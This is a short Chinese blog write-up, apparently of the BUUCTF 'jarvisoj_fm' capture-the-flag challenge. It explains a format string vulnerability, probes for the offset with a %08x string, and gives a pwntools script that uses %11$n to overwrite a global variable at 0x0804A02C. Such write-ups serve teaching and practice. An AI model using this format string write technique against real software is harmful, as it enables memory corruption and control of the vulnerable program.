buuctf jarvisoj_fm

存在格式化字符串漏洞

而实际上x的值为3

需要通过格式化字符串漏洞来重写x的值

使用aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x测试格式化字符串漏洞长度

格式化字符串的漏洞的任意写地址长度为11。可以使用$n来写地址中的数据。使用%11$n,意思将0x0804A02C的x地址写入32位大小的一个字节,正好是地址长度,可以编写代码如下:

from pwn import *
p = process('./fm')
payload = p32(0x0804A02C)+"%11$n"
p.sendline(payload)
p.interactive()
 

发布了4 篇原创文章 · 获赞 0 · 访问量 125

猜你喜欢

转载自blog.csdn.net/pondzhang/article/details/104979373